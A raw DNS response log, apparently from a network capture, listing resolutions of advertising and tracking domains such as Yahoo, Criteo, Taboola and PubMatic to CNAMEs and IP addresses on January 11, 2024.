Jan 11, 2024 00:27:16.399158001 CET	1.1.1.1	192.168.2.4	0x29df	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		34.200.65.202	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.399158001 CET	1.1.1.1	192.168.2.4	0x29df	No error (0)	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		3.225.218.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.399260998 CET	1.1.1.1	192.168.2.4	0xa5e7	No error (0)	cms.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.399260998 CET	1.1.1.1	192.168.2.4	0xa5e7	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.399260998 CET	1.1.1.1	192.168.2.4	0xa5e7	No error (0)	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud	ats-eks.us-east-1.dcs-online-targeting-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.740369081 CET	1.1.1.1	192.168.2.4	0x21c6	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.740570068 CET	1.1.1.1	192.168.2.4	0x97d8	No error (0)	eus.rubiconproject.com	eus.rubiconproject.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.773726940 CET	1.1.1.1	192.168.2.4	0x140e	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.775610924 CET	1.1.1.1	192.168.2.4	0xfeef	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.775610924 CET	1.1.1.1	192.168.2.4	0xfeef	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.67	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.775610924 CET	1.1.1.1	192.168.2.4	0xfeef	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.35	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.775610924 CET	1.1.1.1	192.168.2.4	0xfeef	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.66	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.775610924 CET	1.1.1.1	192.168.2.4	0xfeef	No error (0)	iad-2-sync.go.sonobi.com		69.166.1.34	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.775701046 CET	1.1.1.1	192.168.2.4	0xdce6	No error (0)	sync.go.sonobi.com	iad-2-sync.go.sonobi.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.776922941 CET	1.1.1.1	192.168.2.4	0x98e3	No error (0)	medianet-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.776987076 CET	1.1.1.1	192.168.2.4	0xb793	No error (0)	medianet-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.777302027 CET	1.1.1.1	192.168.2.4	0x2e81	No error (0)	us-u.openx.net		34.98.64.218	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.777302027 CET	1.1.1.1	192.168.2.4	0x2e81	No error (0)	us-u.openx.net		35.244.159.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.778412104 CET	1.1.1.1	192.168.2.4	0x1ff2	No error (0)	sync.1rx.io		69.194.240.13	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	cdn.w55c.net		54.208.16.196	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	cdn.w55c.net		54.165.145.80	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	cdn.w55c.net		52.2.60.235	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	cdn.w55c.net		52.45.222.163	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	cdn.w55c.net		54.156.229.21	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	cdn.w55c.net		52.4.12.194	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	cdn.w55c.net		54.227.205.3	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781328917 CET	1.1.1.1	192.168.2.4	0x15f1	No error (0)	cdn.w55c.net		54.144.54.183	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781549931 CET	1.1.1.1	192.168.2.4	0x8b54	No error (0)	c21lg-d.media.net	star.media.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.781959057 CET	1.1.1.1	192.168.2.4	0xd479	No error (0)	pm.w55c.net	cdn.w55c.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.784717083 CET	1.1.1.1	192.168.2.4	0x6e81	No error (0)	dis.criteo.com	widget.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.784717083 CET	1.1.1.1	192.168.2.4	0x6e81	No error (0)	widget.va1.vip.prod.criteo.com		74.119.119.150	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.786010981 CET	1.1.1.1	192.168.2.4	0x5102	No error (0)	dis.criteo.com	widget.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.787412882 CET	1.1.1.1	192.168.2.4	0x8a36	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.787412882 CET	1.1.1.1	192.168.2.4	0x8a36	No error (0)	user-data-us-east.bidswitch.net		35.211.178.172	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.787960052 CET	1.1.1.1	192.168.2.4	0xa641	No error (0)	x.bidswitch.net	user-data-us-east.bidswitch.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.804609060 CET	1.1.1.1	192.168.2.4	0x2fca	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.804609060 CET	1.1.1.1	192.168.2.4	0x2fca	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.1.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.804609060 CET	1.1.1.1	192.168.2.4	0x2fca	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.65.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.804609060 CET	1.1.1.1	192.168.2.4	0x2fca	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.193.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.804609060 CET	1.1.1.1	192.168.2.4	0x2fca	No error (0)	dualstack.tls13.taboola.map.fastly.net		151.101.129.44	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.804667950 CET	1.1.1.1	192.168.2.4	0xd764	No error (0)	trc.taboola.com	dualstack.tls13.taboola.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:16.806011915 CET	1.1.1.1	192.168.2.4	0x1403	No error (0)	htlb.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.806011915 CET	1.1.1.1	192.168.2.4	0x1403	No error (0)	htlb.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:16.806107998 CET	1.1.1.1	192.168.2.4	0x8f57	No error (0)	htlb.casalemedia.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:17.048721075 CET	1.1.1.1	192.168.2.4	0xbe4d	No error (0)	noa.yahoo.com	noa-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.048974037 CET	1.1.1.1	192.168.2.4	0x31f7	No error (0)	noa.yahoo.com	noa-atsv2.media.g03.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.048974037 CET	1.1.1.1	192.168.2.4	0x31f7	No error (0)	noa-atsv2.media.g03.yahoodns.net		66.218.87.15	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.069498062 CET	1.1.1.1	192.168.2.4	0x3d5b	No error (0)	nts.media.yahoo.com	media-router-api1.prod.media.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.069498062 CET	1.1.1.1	192.168.2.4	0x3d5b	No error (0)	media-router-api1.prod.media.yahoo.com	ds-media-router-api1.prod.media.g05.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.070250988 CET	1.1.1.1	192.168.2.4	0x2a43	No error (0)	nts.media.yahoo.com	media-router-api1.prod.media.yahoo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.070250988 CET	1.1.1.1	192.168.2.4	0x2a43	No error (0)	media-router-api1.prod.media.yahoo.com	ds-media-router-api1.prod.media.g05.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.070250988 CET	1.1.1.1	192.168.2.4	0x2a43	No error (0)	ds-media-router-api1.prod.media.g05.yahoodns.net		74.6.143.22	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.183965921 CET	1.1.1.1	192.168.2.4	0x7da7	No error (0)	sync.ipredictive.com		54.157.90.217	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.183965921 CET	1.1.1.1	192.168.2.4	0x7da7	No error (0)	sync.ipredictive.com		54.158.172.237	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.183965921 CET	1.1.1.1	192.168.2.4	0x7da7	No error (0)	sync.ipredictive.com		52.86.74.151	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.183965921 CET	1.1.1.1	192.168.2.4	0x7da7	No error (0)	sync.ipredictive.com		52.2.41.65	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.183965921 CET	1.1.1.1	192.168.2.4	0x7da7	No error (0)	sync.ipredictive.com		52.45.219.8	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.183965921 CET	1.1.1.1	192.168.2.4	0x7da7	No error (0)	sync.ipredictive.com		52.71.68.246	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.183965921 CET	1.1.1.1	192.168.2.4	0x7da7	No error (0)	sync.ipredictive.com		52.7.115.38	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.183965921 CET	1.1.1.1	192.168.2.4	0x7da7	No error (0)	sync.ipredictive.com		52.207.103.73	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.322130919 CET	1.1.1.1	192.168.2.4	0x843f	No error (0)	www.googletagservices.com		172.253.115.156	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.322130919 CET	1.1.1.1	192.168.2.4	0x843f	No error (0)	www.googletagservices.com		172.253.115.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.329835892 CET	1.1.1.1	192.168.2.4	0xb0ea	No error (0)	cdn.mediago.io		3.162.125.63	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.329835892 CET	1.1.1.1	192.168.2.4	0xb0ea	No error (0)	cdn.mediago.io		3.162.125.35	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.329835892 CET	1.1.1.1	192.168.2.4	0xb0ea	No error (0)	cdn.mediago.io		3.162.125.116	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.329835892 CET	1.1.1.1	192.168.2.4	0xb0ea	No error (0)	cdn.mediago.io		3.162.125.37	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.513286114 CET	1.1.1.1	192.168.2.4	0xf0b5	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.513286114 CET	1.1.1.1	192.168.2.4	0xf0b5	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.513286114 CET	1.1.1.1	192.168.2.4	0xf0b5	No error (0)	dorpat.geo.iponweb.net		35.207.24.140	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.513322115 CET	1.1.1.1	192.168.2.4	0x70a0	No error (0)	rtb.mfadsrvr.com	pool.dorpat.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.513322115 CET	1.1.1.1	192.168.2.4	0x70a0	No error (0)	pool.dorpat.iponweb.net	dorpat.geo.iponweb.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.adnxs.com	g.geo.appnexusgslb.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	g.geo.appnexusgslb.net	ib.anycast.adnxs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.160.76	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.161.182	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.179.164	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.160.186	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.181.211	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.160.132	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.160.114	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.160.184	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.178.10	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.160.137	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.160.24	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.552407026 CET	1.1.1.1	192.168.2.4	0xc56	No error (0)	ib.anycast.adnxs.com		68.67.160.117	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.559185028 CET	1.1.1.1	192.168.2.4	0x7cc1	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.559185028 CET	1.1.1.1	192.168.2.4	0x7cc1	No error (0)	simage2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.559323072 CET	1.1.1.1	192.168.2.4	0x6044	No error (0)	simage2.pubmatic.com	simage2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.559323072 CET	1.1.1.1	192.168.2.4	0x6044	No error (0)	simage2v2.pubmnet.com	pug-njrpb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.559323072 CET	1.1.1.1	192.168.2.4	0x6044	No error (0)	pug-njrpb.pubmnet.com		162.248.18.37	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.573731899 CET	1.1.1.1	192.168.2.4	0x6707	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.573731899 CET	1.1.1.1	192.168.2.4	0x6707	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.574296951 CET	1.1.1.1	192.168.2.4	0xffe6	No error (0)	ap.lijit.com	vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.574296951 CET	1.1.1.1	192.168.2.4	0xffe6	No error (0)	vap.lijit.com	nava.vap.lijit.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.574296951 CET	1.1.1.1	192.168.2.4	0xffe6	No error (0)	nava.vap.lijit.com		23.92.190.69	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.574296951 CET	1.1.1.1	192.168.2.4	0xffe6	No error (0)	nava.vap.lijit.com		23.92.190.68	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.574296951 CET	1.1.1.1	192.168.2.4	0xffe6	No error (0)	nava.vap.lijit.com		23.92.190.74	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.574296951 CET	1.1.1.1	192.168.2.4	0xffe6	No error (0)	nava.vap.lijit.com		63.251.114.137	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.574296951 CET	1.1.1.1	192.168.2.4	0xffe6	No error (0)	nava.vap.lijit.com		63.251.114.136	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.574296951 CET	1.1.1.1	192.168.2.4	0xffe6	No error (0)	nava.vap.lijit.com		72.251.238.254	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor.omnitagjs.com	visitor-us-west-2.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor-us-west-2.omnitagjs.com		44.236.142.66	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor-us-west-2.omnitagjs.com		35.81.59.195	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor-us-west-2.omnitagjs.com		54.69.146.56	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor-us-west-2.omnitagjs.com		52.43.156.235	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor-us-west-2.omnitagjs.com		52.33.199.142	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor-us-west-2.omnitagjs.com		44.236.101.224	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor-us-west-2.omnitagjs.com		44.236.109.80	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575186014 CET	1.1.1.1	192.168.2.4	0xfe7f	No error (0)	visitor-us-west-2.omnitagjs.com		52.40.188.60	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.575439930 CET	1.1.1.1	192.168.2.4	0x2f17	No error (0)	visitor.omnitagjs.com	visitor-usa02.omnitagjs.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.580854893 CET	1.1.1.1	192.168.2.4	0x6b44	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.580854893 CET	1.1.1.1	192.168.2.4	0x6b44	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.580854893 CET	1.1.1.1	192.168.2.4	0x6b44	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.581027985 CET	1.1.1.1	192.168.2.4	0x3bad	No error (0)	sync-tm.everesttech.net	sync.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.581027985 CET	1.1.1.1	192.168.2.4	0x3bad	No error (0)	sync.tubemogul.com	syncf.tubemogul.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.581027985 CET	1.1.1.1	192.168.2.4	0x3bad	No error (0)	syncf.tubemogul.com	h2.shared.global.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.584779024 CET	1.1.1.1	192.168.2.4	0x3efe	No error (0)	ssp-sync.criteo.com	ssp-sync.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.585155964 CET	1.1.1.1	192.168.2.4	0x8a22	No error (0)	ssp-sync.criteo.com	ssp-sync.va1.vip.prod.criteo.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.585155964 CET	1.1.1.1	192.168.2.4	0x8a22	No error (0)	ssp-sync.va1.vip.prod.criteo.com		74.119.119.73	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.586905956 CET	1.1.1.1	192.168.2.4	0x6a9b	No error (0)	aol-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.586919069 CET	1.1.1.1	192.168.2.4	0xc2c3	No error (0)	aol-match.dotomi.com	bfp.global.dual.dotomi.weighted.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.649100065 CET	1.1.1.1	192.168.2.4	0xe5b6	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.649100065 CET	1.1.1.1	192.168.2.4	0xe5b6	No error (0)	image4-v2.pubmnet.com	spug-njrpb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.649100065 CET	1.1.1.1	192.168.2.4	0xe5b6	No error (0)	spug-njrpb.pubmnet.com		162.248.18.34	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:17.650666952 CET	1.1.1.1	192.168.2.4	0x7af2	No error (0)	image4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.650666952 CET	1.1.1.1	192.168.2.4	0x7af2	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.662035942 CET	1.1.1.1	192.168.2.4	0x2550	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.662035942 CET	1.1.1.1	192.168.2.4	0x2550	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.662072897 CET	1.1.1.1	192.168.2.4	0xfcad	No error (0)	image2.pubmatic.com	image2v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.662072897 CET	1.1.1.1	192.168.2.4	0xfcad	No error (0)	image2v2.pubmnet.com	pug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:17.662072897 CET	1.1.1.1	192.168.2.4	0xfcad	No error (0)	pug-vac.pubmnet.com		8.28.7.83	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.016004086 CET	1.1.1.1	192.168.2.4	0x786a	No error (0)	images.mediago.io		34.111.60.239	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.053108931 CET	1.1.1.1	192.168.2.4	0x48dd	No error (0)	trace.mediago.io		35.208.249.213	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.240107059 CET	1.1.1.1	192.168.2.4	0x6f7d	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.240107059 CET	1.1.1.1	192.168.2.4	0x6f7d	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.11	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.240107059 CET	1.1.1.1	192.168.2.4	0x6f7d	No error (0)	edge.gycpi.b.yahoodns.net		69.147.92.12	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.240600109 CET	1.1.1.1	192.168.2.4	0x388f	No error (0)	s.yimg.com	edge.gycpi.b.yahoodns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.429778099 CET	1.1.1.1	192.168.2.4	0x3c3c	No error (0)	dsum-sec.casalemedia.com		104.18.36.155	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.429778099 CET	1.1.1.1	192.168.2.4	0x3c3c	No error (0)	dsum-sec.casalemedia.com		172.64.151.101	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.430831909 CET	1.1.1.1	192.168.2.4	0x67e7	No error (0)	dsum-sec.casalemedia.com			65	IN (0x0001)	false
Jan 11, 2024 00:27:18.434643030 CET	1.1.1.1	192.168.2.4	0x4709	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.435748100 CET	1.1.1.1	192.168.2.4	0x8d12	No error (0)	ad.turn.com	ad.turn.com.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.559195042 CET	1.1.1.1	192.168.2.4	0xb60	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.559195042 CET	1.1.1.1	192.168.2.4	0xb60	No error (0)	image4-v2.pubmnet.com	spug-njrpb.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.559195042 CET	1.1.1.1	192.168.2.4	0xb60	No error (0)	spug-njrpb.pubmnet.com		162.248.18.34	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.559930086 CET	1.1.1.1	192.168.2.4	0x6efd	No error (0)	simage4.pubmatic.com	image4-v2.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.559930086 CET	1.1.1.1	192.168.2.4	0x6efd	No error (0)	image4-v2.pubmnet.com	spug-vac.pubmnet.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.732970953 CET	1.1.1.1	192.168.2.4	0x79dd	No error (0)	gtrace.mediago.io		35.208.249.213	A (IP address)	IN (0x0001)	false
Jan 11, 2024 00:27:18.742117882 CET	1.1.1.1	192.168.2.4	0x1bd9	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.742714882 CET	1.1.1.1	192.168.2.4	0x33a4	No error (0)	tags.bluekai.com	tags.bluekai.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.744246960 CET	1.1.1.1	192.168.2.4	0xae08	No error (0)	service.idsync.analytics.yahoo.com	prod.ups-ats.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2024 00:27:18.744246960 CET	1.1.1.1	192.168.2.4	0xae08	No error (0)	prod.ups-ats.aolp-ds-prd.aws.oath.cloud	prod.ups-ats.us-east-1.aolp-ds-prd.aws.oath.cloud		CNAME (Canonical name)	IN (0x0001)	false
